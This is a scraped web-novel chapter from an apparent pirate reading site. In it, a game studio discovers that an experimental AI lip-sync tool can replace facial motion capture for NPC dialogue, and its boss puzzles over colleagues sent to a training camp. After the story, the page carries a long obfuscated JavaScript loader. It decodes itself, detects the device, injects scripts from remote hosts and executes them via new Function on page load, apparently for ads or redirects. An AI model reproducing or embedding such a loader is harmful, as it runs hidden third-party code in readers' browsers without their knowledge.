首页
第1212章 驽马实验室的新
返回
关灯 护眼:关 字号:小

第1212章 驽马实验室的新成果

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    9月6日,周四。
    迟行工作室中,员工们正在忙碌着,进行《房产中介模拟器》这款新VR游戏的开发工作。
    经过了《动物海岛》的锤炼和磨合,整个开发团队有了明显的进步,配合更加默契,开发的流程也更加顺畅。
    就连蔡家栋这个主设计师也更加得心应手了。
    他似乎逐渐地get到了腾达的设计思路和方法,跟林晚的思路越来越匹配,逐渐成为一个合格的主设计师。
    在电脑上忙了一阵之后,他拿着打印出来的文件,去找林晚汇报工作。
    此时的林晚,正在聚精会神地看着电脑屏幕,眉头微蹙,似乎在思考什么非常重要的事情。
    看到蔡家栋来了,林晚暂时将目光从电脑屏幕上移开。
    “林总,之前驽马人工智能实验室发来的那个还处于实验阶段的小程序,您看了吗?感觉如何?”
    “如果可以使用的话,不仅可以大幅缩短我们整个项目的开发时间,而且还可能对游戏的具体设计方案产生一定的影响。”
    林晚愣了一下:“哦,最近一直在考虑别的事情,还没来得及看。你觉得效果怎么样?”
    蔡家栋如实回答:“我觉得……效果出乎意料地好。”
    林晚没想到蔡家栋竟然给出这么高的评价。
    这个小程序是前两天驽马实验室刚发给腾达游戏和觞洋游戏这两个部门的,说是一个尚处于试验阶段的人工智能程序,让他们先试用,提提意见。
    因为林晚跟觞洋游戏关系密切,这个程序自然也发到了迟行工作室这边。
    反正都是腾达的内部产业,一家人不说两家话。
    林晚这两天稍微有点忙,所以还没来得及看。
    她之所以没太在意,主要是觉得这玩意肯定不会很靠谱。
    目前的互动电影类游戏,或者一些对话比较多、需要近距离表现角色表情和说话的RPG游戏,都是采用动作捕捉技术,用演员进行扮演。
    动作捕捉技术不仅仅是可以捕捉身体动作,也可以捕捉面部的细微表情。演员说台词的过程中,一边录音一边进行面部捕捉,再将这些数据应用到以演员为原型创建的模型中,就可以在游戏中表现出非常拟真的效果。
    当然,如果对演员的台词功底不满意,也可以另外找人配音,达到更好的效果。
    但这种做法也有一个问题,就是工作量太大,而且不太自由。
    剧情对话一旦定下来,就不能乱改,否则哪怕只是加一句话,也得把动作捕捉演员请过来重新录制。
    驽马人工智能实验室的这个程序,据说是一个面部动作捕捉技术的替代方案,具体原理是通过对语音内容的智能分析,综合编辑器中过往的动作捕捉数据,自动生成角色的面部动作。换言之,也可以认为是自动对口型。
    大致跟某些让照片唱歌的软件差不多,但据说效果更好。
    对此,林晚有点怀疑。
    程序自动生成的,跟动作捕捉演员亲自演的,能是一个概念么?
    裴总对《房产中介模拟器》这款游戏的要求可是很高的,必须跟《奋斗》一样高精度建模,同时全部动作都用上真人动作捕捉,尽可能地给玩家带来一种身临其境的真实感受。
    如果里面NPC的动作僵硬、表情扭曲,那得多出戏,整个游戏就有了瑕疵。
    说不定还会引发恐怖谷效应,把玩家们给吓一跳。
    毕竟VR游戏的代入感远非常规游戏可比,失之毫厘、谬以千里。
    但现在听蔡家栋说,效果竟然出乎意料地好?
    林晚也不由得来了兴趣,在自己的电脑上查看。
    《房产中介模拟器》这款游戏已经开发了一个月的时间,到目前为止做出了不少的角色模型。
    由于官方平台模拟器的存在,所以做这种角色模型实际上是一个捏人的过程,不需要全部从零开始做。而且,裴总曾经做的《奋斗》这款游戏,虽然里面大部分都是西方人,但稍加改动以后,不少角色还是能直接拿来用的。
    在拿到这个程序的第一时间,蔡家栋就安排设计师用目前已有的模型随便做了几段过场,录了下来。
    林晚很快看完了过场,沉默片刻之后问道:“这是用新程序自动生成的?不是动作捕捉?”
    蔡家栋点点头:“完全自动生成。不过,目前对外语的支持不是特别好。”
    林晚沉默了。
    对外语的支持好不好那都无所谓,反正《房产中介模拟器》这款游戏本来也只是面向国内玩家的。就算游戏的反响很好,打算出个多语言版本,那也得是发售几个月以后的事情了。
    这个效果,着实是有点惊艳!
    游戏中角色的表情非常自然,并没有任何的动作僵硬、表情扭曲的感觉。
    当然,不可能像真人动作捕捉那样严丝合缝,语音和脸部动作配合得完美无缺。
    但只要不是全神贯注地盯着角色的嘴唇看,基本上都察觉不出异样。
    其实做到这样的程度已经足够了,毕竟很多国外的影视剧重新配音之后口型完全对不上,观众习惯了也不会觉得有什么奇怪。而这个程序自动生成的面部表情比这种重新配音的影视剧自然多了。
    “以目前的情况来看,这项技术完全可以直接用到《房产中介模拟器》里啊。”
    “而且……”
    林晚突然眼前一亮:“这岂不是刚好可以解决之前一直有些困扰我们的那个问题?”
    “怪不得呢,之前我们总觉得这个问题解决不好,心里不踏实,现在看来,裴总是不是早就有所准备,知道驽马实验室的这个新成果能够解决这个问题?”
    一项新技术的出现,往往也会影响到游戏设计的思路。
    之前林晚跟蔡家栋两个人,本来非常发愁《房产中介模拟器》中核心玩法的设计细节。
    按照最初的设定,这款游戏的其中一个核心玩法是卖房子。
    这个玩法的基本流程是,玩家拿到一个新房型,对这个房子进行改造、重新布置,动用手中的资金对其进行修缮,更换家具,而后去接待客人,在介绍的过程中回答不同的问题,最终对价格进行一定的浮动,促成这笔交易。
    这个玩法是贯穿游戏始终的,只不过刚开始的时候可能手头没有资金,无力对房间做出更改,在被顾客挑出毛病之后就只能降低租金才能促成交易。而后期则是可以提前发现房子的问题,并在顾客来看房子之前解决掉。
    但在设计这个核心玩法的过程中,林晚和蔡家栋遇到了一点点小问题。
    显然,这是一个重复性的玩法,如果做不好的话,玩家很快就会感到厌烦。
    假设每次来的顾客长得都差不多,问的问题也差不多,对话、动作、行为都很相似,那么玩家恐怕很快就会感到厌烦,这个核心玩法也根本撑不起游戏体验。
    所以,如何让这款游戏能够像MOBA游戏一样,不管重复多少次都仍旧有新鲜感,至少让玩家觉得每次遇到的顾客都会是全新的,对接待下一次的顾客充满期待,这是决定游戏体验的重中之重。
    这个问题是多方面的。
    要解决长相的问题,可以通过程序自动生成顾客的外观。
    许多游戏的捏脸系统里都有类似的功能,并不难做。
    当然,根据捏脸系统自动生成的脸可能会比较不协调,比如明明是个穿着职业装的女性,却留着莫西干发型、打着耳钉、额头上还有一块夸张的纹身,肯定是怎么看怎么奇怪。
    所以,在这个系统上还得再打一些补丁,通过算法限定这个人的身份,并相应地锁死捏脸中的一些特定元素,让人物的外观与原本的人设不至于偏离得太远。
    长相的问题解决了,接下来就是动作。
    这一点相对也比较好解决,毕竟在房间内,NPC可以做的动作无非就那么几种:坐在沙发上,喝茶,在窗边远眺,俯身观察角落等等。
    这些动作都可以提前安排好,根据角色的性别、体型、年龄做几种配套的动作,在房间中根据算法自动触发就可以了。
    此外,NPC说话的时候也会有相应的肢体动作,这个也很好办。
    总之,这些都是可以用堆量来解决的问题。
    只要把动作量堆上去了,通过随机算法自动抽取,再结合不同的外观、体型等因素,就可以做得大差不差。
    最关键的问题在于,说话的内容。
    在游戏的核心玩法中,每套房子都有相应的问题,比如南北不通透,卧室太小,卫生间不干净,窗户隔音不好等等。
    当然,也都有相应的优势。
    玩家在顾客来之前,可以先自己看房。看完之后,系统会给出几个选项供玩家选择,比如,房型是否方正、是否南北通透、采光如何等等。
    玩家此时的选择,就代表着玩家对这套房子认识的正确程度,也会影响回答NPC问题时的选项。
    在带NPC看房子的时候,NPC会针对这套房子提出问题,玩家需要选择相应的选项作出回应。如果选对了就没问题,如果选错了那就会降低顾客对这套房子的评价,到时候要么降价,要么交易告吹。
    这些问题当然也都是设定好的,用到了许多专业知识。
    这些内容也不难做,跟树懒公寓那边多沟通一下,就可以为每套房型定下标准答案。
    但最大的问题在于……NPC表述这些问题是,所用到的具体词句怎么处理?
    同样的一个问题,不同的人肯定有不同的问答方式。
    比如,有些人可能会说“房子采光不好”,有些人会说“这里太暗了”,还有些人会说“对面的大楼有遮挡”等等。
    如果所有的NPC全都说“房子采光不好”,那就会显得非常僵硬。
    但是这个问题,又不能靠堆量来解决。
    如果仍旧用以前动作捕捉的那一套办法,那么每换一种说法,都需要重新动作捕捉一次,不同体型的人在讲话时面部表情也不一样,动作捕捉不能混用,那么同一个意思下面的多种表达,可能要录好几遍。
    如果是其他以剧情驱动的互动游戏,这倒也不是什么大问题,无非是多一些工作量,多录几遍而已。
    可《房产中介模拟器》不一样,问题太多了,量太大了,偏偏对游戏体验又没有什么关键性的提升。
    不做,不够完美,不够极致,容易让玩家出戏;
    做,付出的资源实在太多,多到无法承受,性价比极低。
    于是就给尬住了,做也不合适,不做也不合适。
    但是现在有了驽马实验室的这个人工智能程序,这个问题一下子就迎刃而解了!
    这样一来,就不需要再对每句话都进行动作捕捉,而仅仅是配音就够了。
    单纯配音的工作量小了太多,甚至可以直接去网上征集,让很多热心玩家帮忙配音都可以。将这些配音导入之后,这个程序就会根据音频自动生成人物的面部动作,再搭配上一定的肢体语言和动作,就可以制造出千人千面的感觉。
    蔡家栋感慨道:“我就说嘛!之前做这一块的设计细节的时候我就在纳闷,这个问题在现有的条件下根本就是解决不了的!难道裴总在设计这款游戏的时候,没有想到这一点吗?”
    “现在看来,裴总显然早就想到了,肯定是知道驽马实验室最近的研究成果,所以才让我们做了这样一款游戏!”
    林晚点点头:“那是肯定的。”
    “那就不用犹豫了,就按这个做吧!”
    “对了,树懒公寓那边已经把新一批的房型资料发过来了,你查收一下,交给设计师们。”
    蔡家栋点头说道:“好。”
    立项开发这款游戏之后,林晚直接就找到了梁轻帆,让他配合开发。
    说起这些知识,有谁能比梁轻帆更专业呢?
    树懒公寓那边养了很多的建筑师和设计师,专门研究怎么改造房型,只要派人到网上搜集各种房型的资料,然后再将这些房型的优缺点梳理一番,就可以发给迟行工作室,直接做到游戏中。
    这些事情当然不用林晚去操心,是蔡家栋这个主设计师的活。
    目送蔡家栋离开,林晚靠在椅子上,长出了一口气。
    “呼……还好梁轻帆没被抓走。”
    有一个微信公众号[书粉基地],可以领红包和点币,先到先得!
    “他要是被抓走了,虽说可以再到树懒公寓去找个其他的建筑师,但肯定没他这么靠谱。”
    “话说回来……裴总突然把负责人们抓起来搞特训,这是什么情况……”
    昨天的时候,林晚就感觉有点不对劲。
    她虽然已经来到迟行工作室,但却还在腾达负责人们的聊天群里。
    平时大家有事没事也经常水***流各部门的现状,群里还挺热闹的。
    结果昨天,整个群突然冷清了下来,平时冒泡冒得很多的几个人,竟然全都一句话都没说。
    林晚感觉有点不对劲,今天跟王晓宾打听了一下,才知道原来包括叶之舟在内的十个核心部门的负责人都被抓了……
    林晚吓了一跳,还以为这群人是不是背地里干坏事被裴总逮住把柄,结果又仔细一问,竟然是被抓去特训基地了……
    包括前不久才帮了大忙的驽马人工智能实验室,负责人沈仁杰也跟其他几位负责人一样,被一套带走。
    还好树懒公寓的梁轻帆得以幸存,否则迟行工作室这边游戏的开发怕是要受到一些影响了。
    林晚的感觉非常敏锐,立刻就觉得这件事情非同小可。
    在群里稍微问了一下之后,顺利地拿到了特训基地第一批名单,一共是十个人,分别是黄思博、胡显斌、肖鹏、芮雨晨、叶之舟、沈仁杰、果立诚、贺得胜、陈宇峰、马一群。
    “特训基地刚开起来,得循序渐进,不能一下子训太多的人,所以第一批名单只有十个人,倒是也合理。”
    “不过……为什么是这十个人,不是其他人呢?”
    “腾达各部门的负责人这么多,总得有一个相应的评判标准吧?”
    “裴总对这件事情非常重视,而且不惜暂时影响工作也要把核心部门的负责人全都安排进去,显然是出于某种特殊的目的。而这种目的甚至比短期内的工作甚至盈利都要重要。”
    “单纯是为了支持包旭的工作?那肯定不可能,裴总是个公私分明的人,做的事情终究还是对腾达有利的。”
    “短期内看起来有弊端,那就说明长期一定有利。”
    “裴总的真实意图到底是什么呢……”
    “嗯,也许应该从这份名单入手。只要搞清楚裴总筛选出这份名单的标准,应该就能大致推断出裴总的真实意图了……”
    林晚再度看着电脑屏幕,陷入了沉思。
    虽然她已经不是腾达的负责人,但也仍旧一直在关注腾达内部的动向。毕竟腾达内部的风吹草动都代表着裴总的意志,而裴总的行为往往隐含着深意,多多学习必然有所裨益。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();